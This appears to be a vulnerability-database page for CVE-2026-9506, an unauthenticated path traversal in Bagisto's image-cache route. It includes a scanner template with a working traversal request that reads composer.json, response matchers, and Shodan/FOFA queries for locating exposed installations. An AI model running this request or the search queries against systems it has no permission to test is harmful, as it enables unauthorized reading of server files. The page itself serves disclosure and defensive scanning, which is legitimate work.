CVE-2026-9506: Bagisto <= 2.4.1 - Unauthenticated Arbitrary File Read

2026-08-16 Magisto PoC Public

Description

Bagisto through 2.4.1 is vulnerable to unauthenticated path traversal in the ImageCache controller. The `original` image-cache route (/cache/original/{filename}) passes the user-supplied filename to getImagePath() without any '..' filtering or realpath containment, allowing a remote unauthenticated attacker to read files outside the intended public image directories (upload/images) - for example the application's composer.json, artisan and other source files.

PoC

id: CVE-2026-9506

info:
  name: Bagisto <= 2.4.1 - Unauthenticated Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    Bagisto through 2.4.1 is vulnerable to unauthenticated path traversal in the ImageCache controller. The `original` image-cache route (/cache/original/{filename}) passes the user-supplied filename to getImagePath() without any '..' filtering or realpath containment, allowing a remote unauthenticated attacker to read files outside the intended public image directories (upload/images) - for example the application's composer.json, artisan and other source files.
  impact: |
    Unauthenticated attackers can read arbitrary sensitive files, potentially exposing confidential information.
  remediation: Fixed in 2.4.2, which adds realpath() containment and '../' sanitisation.
  reference:
    - https://github.com/advisories/GHSA-qhcg-rw5x-vg94
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9506
    - https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01&VLCODE=CIVN-2026-0292
    - https://www.ionix.io/threat-center/cve-2026-9506/
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2026-9506
    epss-score: 0.01238
    epss-percentile: 0.67746
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: webkul
    product: bagisto
    shodan-query: http.html:"Bagisto"
    fofa-query: body="bagisto"
  tags: cve,cve2026,bagisto,webkul,lfi,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/cache/original/%2e%2e/composer.json"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"name": "bagisto/bagisto"'
          - 'Bagisto Laravel E-Commerce'
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cd59f284ab6b18f23a8665e05287c109fe9bb247cb7200c81a3c879e7c59fae4022044f01830a23cf7d81a12a5c663f031446524db54d43fd9d1ecbc1ae12e0c9a20:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities